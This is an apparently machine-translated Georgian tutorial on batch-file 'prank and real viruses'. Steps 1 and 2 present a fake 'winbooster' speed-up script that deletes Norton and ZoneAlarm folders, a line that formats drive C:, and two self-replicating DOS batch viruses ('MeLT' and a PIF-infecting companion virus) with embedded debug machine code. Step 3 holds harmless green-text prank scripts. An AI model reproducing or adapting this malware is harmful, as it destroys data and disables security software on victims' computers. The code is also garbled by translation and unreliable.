სურათების ხრიკები და ვირუსები: 3 ნაბიჯი

2024 ავტორი: John Day | [email protected]. ბოლოს შეცვლილი: 2024-01-30 10:21

როგორ გავაკეთოთ Prank და რეალური ვირუსები BATCH შენიშვნა: მე არ ვარ პასუხისმგებელი თქვენს კომპიუტერზე სხვის კომპიუტერზე მიყენებული ზიანისათვის

ნაბიჯი 1: რეალური ვირუსები (უბრალოები)

პირველი: დააკოპირეთ კოდი **************************************** **************@echo კეთილი იყოს თქვენი მობრძანება winbooster– ში ELECTROfun@echo თუ გსურთ თქვენი კომპიუტერი იყოს უფრო სწრაფი, თქვენ უნდა შეასრულოთ შემდეგი ნაბიჯები@პაუზა cd / c: dir dir c: / progra ~ 1 / norton ~ 1 @echo ახლა თქვენ უნდა ჩაწეროთ y და დააჭიროთ enter @pause del c: / progra ~ 1 / norton ~ 1 @pause c: dir @pause @dir c: / progra ~ 1 dir c: / progra ~ 1 / zonea ~ 1 / zonealarm del c: / progra 1 / zonea ~ 1 / zonealarm @echo კარგი ახლა თქვენი კომპიუტერი არის "მართლაც!" სწრაფი: გასვლა ******************************************** *შენიშვნა: შეინახეთ ფაილი რაც გსურთ.bat შენიშვნა: ყველაფერი რაც შემდეგ არის @echo შეიძლება შეიცვალოს (შეგიძლიათ დაწეროთ რაც გინდათ) მეორე: **************** ფერი 02 ფორმა C: ***************

ნაბიჯი 2: რეალური ვირუსები (მოწინავეები)

1. ყველაზე ძლიერი ******************@თუ არა '%0 ==' თუ '%_melt%==' goto meltbeg:: ---- dummy მასპინძელი --------@ეხო ოფერჩო გამარჯობა მსოფლიო!:: ---- დასასრული მასპინძელი ----@goto MeLTend [MeLT_2a]: MeLTbeg@echo off%_MeLT%if '%1 ==' MeLT goto MeLT %2 თუ არ არსებობს %comspec %set comspec = %_ MeLT %command %comspec % /e: 5000 /c %0 MeLT virset MeLTcl = %1 %2 %3 %4 %5 %6 %7 %8 %9call % 0 MeLT rhset _MeLT = მითითებული MeLTcl = goto MeLTend: MeLTrhset _MeLT = x%0%MeLTcl%: MeLTvirset MeLTH =%0 თუ არ არსებობს%_MeLT %% temp%\ nul set temp =%tmp%თუ არსებობს%temp%\ MeLT_2a goto MeLTrun%0 MeLT fnd. %path%: MeLTfndshift%_MeLT%თუ '%2 ==' გასვლა MeLTset MeLT =%2 \%MeLTH%.batif არ არსებობს%MeLT%მითითებული MeLT =%2 \%MeLTH%თუ არ არსებობს%MeLT%მითითებული MeLT = %2%MeLTH%.batif არ არსებობს%MeLT%მითითებული MeLT =%2%MeLTH%თუ არ არსებობს%MeLT%goto MeLTfnd იპოვეთ "MeLT"%temp%\ MeLT_2aattrib%temp%\ MeLT_2a +h: MeLTrun%MeLTH%MeLT s რა. i "MeLT" nulif არ არის შეცდომა 1 მივიღე MeLTnoecho @თუ არა '%% 0 ==' თუ '%% _ melt %% ==' goto meltbeg> MeLT.ttype%3 >> MeLT.techo. >> MeLT.ttype% temp %\ MeLT_2a >> MeLT.tm MeLT.t %3> nulexit MeLT: MeLTact - ეკრანის დნობის შემდეგ დნება ნორმალურ რეჟიმში e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE> MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8 >> MeLT.techo e 120 B4 4C CD 21 00 >> MeLT.techo g >> MeLT.tdebugnuldel MeLT.texit MeLT: MeLTnoset MeLTC =%MeLTC%1 თუ%MeLTC%== 1111111111 goto MeLTact: MeLTend ********************************* ******** 2.ეს არის ვირუსი, რომელიც 'აინფიცირებს' PIF ფაილებს, რომელსაც Windows იყენებს DOS პროგრამების გასაშვებად. იგი მუშაობს ფარული თანმხლები პარტიების შემცველი ამ ასლების შემცველით და შემდეგ შეცვლის PIF ფაილს ისე, რომ კომპანიონი პარტია პირველად გაუშვას. მას შემდეგ, რაც კომპანიონი გადის, ის გაუშვებს მასპინძლის თავდაპირველ პროგრამას, რომლის სახელი დაშიფრულია კომპანიონში. Pif ფაილები მონიშნულია ისე, რომ ისინი ხელახლა არ ინფიცირდებიან. დაზარალებულია მხოლოდ PIF– ები, არანაირი ცვლილება არ ხდება ინფიცირებულ პროგრამებში. „განკურნების“მიზნით გამოიყენეთ PIFEDIT ფაილების ორიგინალური სახელების აღსადგენად, შემდეგ კი წაშალეთ ფარული ფაილები. ***************@echo off:: მასპინძლის ფაილის… მითითება pifvo = LIST. COM:: მარყუჟის დისპეტჩერი… ვირუსი! set _PiFV = თუ არ არსებობს%comspec%set comspec = C: / COMMAND. COM%_PiFV %% comspec% /e: 5000 /c%0 PiFV go> nulif არსებობს PiFV! del PiFV!:: გაუშვით მასპინძელი PiFVcl = %1 %2 %3 %4 %5 %6 %7 %8 %9 % %PiFV მე "დავჯექი"> nul. PiFVif შეცდომის დონე 1 მივიღე PiFV_endecho. | დრო | იპოვე "7"> nul. PiFVif შეცდომის დონე 1 მივიდა PiFV_msgset PiFV = echocls%_PiFV %% PiFV%.%PiFV%ერთხელ იყო ვიტრი, სახელად ოსკერი ვინ აცხადებდა, რომ იცის წყლის დამზადება. PiFV_msgecho [PiFV] by WaveFuncgoto PiFV_end: PiFV_hst%PiFVo%PiFVcl%goto PiFV_end: PiFV_goset PiFVh =%0 თუ არ არსებობს%PiFVh%მითითებული PiFVh =%0.batif არ არსებობს%PiFVh%exitfor%) დარეკეთ %0 PiFV inf %% aexit PiFV: PiFV_infset PiFVp = %3:: მიიღეთ მსხვერპლის ფაილის სახელი და ინფექციის მარკერი:: PIF ფაილიდან გამართვის გამოყენებით … თუ არსებობს PiFV! goto PiFV_1echo m 124, 162 524> PiFV! echo e 100 '@set fn =' >> PiFV! echo m 524, 562 108 >> PiFV! echo n pifv $.bat >> PiFV! echo rcx >> PiFV! echo 47 >> PiFV! Echo w >> PiFV! Echo m 55E, 561 108 >> PiFV! Echo e 10C 0 >> PiFV! Echo n pifv $ $. Bat >> PiFV! Echo rcx >> PiFV! Echo 10 >> PiFV! Echo w >> PiFV! Echo q >> PiFV!: PiFV_1debug%PiFVp%nulcall PiFV $ set PiFVn =%fn%call PiFV $$ set PiFVi =%fn%del PiFV $?. Bat:: pifvn = orig filename:: pifvi = ინფექციის მარკერი:: pifvp = pif ფაილის სახელი:: pifvh = თანმხლები bat ფაილი:: გამოტოვეთ ინფიცირებული ან "ცარიელი" pifs… თუ '%PiFVi%==' PiFV goto PiFV_endif '%PiFVn%==' goto PiFV_end:: არ დაჩრდილო command.com (იყავი კარგი) echo %PiFVn %| find /i "command"> nulif არ არის შეცდომა 1 goto PiFV_end:: ინფექციური - შექმენი კომპანიონი პარტია …:: (შემდეგი კოდი ამოშლის გაფართოებას) echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88> PiFV $$ echo e 110 c2 b4 02 cd 21 eb ecd cd 20 ba 21 01 b4 09 cd 21 >> PiFV $$ echo e 120 c3 73 65 74 20 66 6e 3d 24 00 >> PiFV $$ echo n pifv $.com >> PiFV $$ echo rcx >> PiFV $$ echo 2a >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debugnulecho%PiFVn%| PiFV $> PiFV $ $. Batcall PiFV $$ მითითებული PiFVb =%fn%.batdel PiFV $?.*:: pifvb = ახალი სურათების სახელი:: არ დაჩრდილეთ, თუ კომპ აქვს იგივე სახელი როგორც hostif%PiFVo%==%PiFVb%goto PiFV_endif არსებობს%PiFVb%goto PiFV_endecho @echo off>%PiFVb%echo set pifvo =%pifvn%>>%PiFVb%იპოვეთ "PiFV">%PiFVb%ატრიბუტი%PiFVb% +h::… და მიუთითეთ PIF– ზე companionecho e 15E 'PiFV', 0> PiFV $$ echo e 124 '%PiFVb%', 0 >> PiFV $$ ექო w >> PiFV $$ echo q >> PiFV $$ გამართვის %PiFVp %nuldel PiFV $$:: მე მგონი დავასრულეთ! გამოდით PiFV: PiFV_end:: მაინტერესებს რამდენი ხარვეზი აქვს ამ ყველაფერს? მხოლოდ ერთი:: გზა გასარკვევად… ************************************* **********

ნაბიჯი 3: Prank Virus and And Trick

1. პიკანტური ვირუსი ******************* ფერი 02@ეხო ოფერჩო dir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/ sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/secho@echo@echo ************************ შენიშვნა: "ფერი 02" არის ტექსტის მწვანე 2. ტრიუკი (მატრიცის კოდი) ****** *************************@echo offcolor 02: startecho %შემთხვევითი %შემთხვევითი %შემთხვევითი %შემთხვევითი % % შემთხვევითი%% შემთხვევითი%% შემთხვევითი%% შემთხვევითი%% შემთხვევითი%% შემთხვევითი%% შემთხვევითი% შემთხვევითი% შემთხვევით% დავიწყე ******************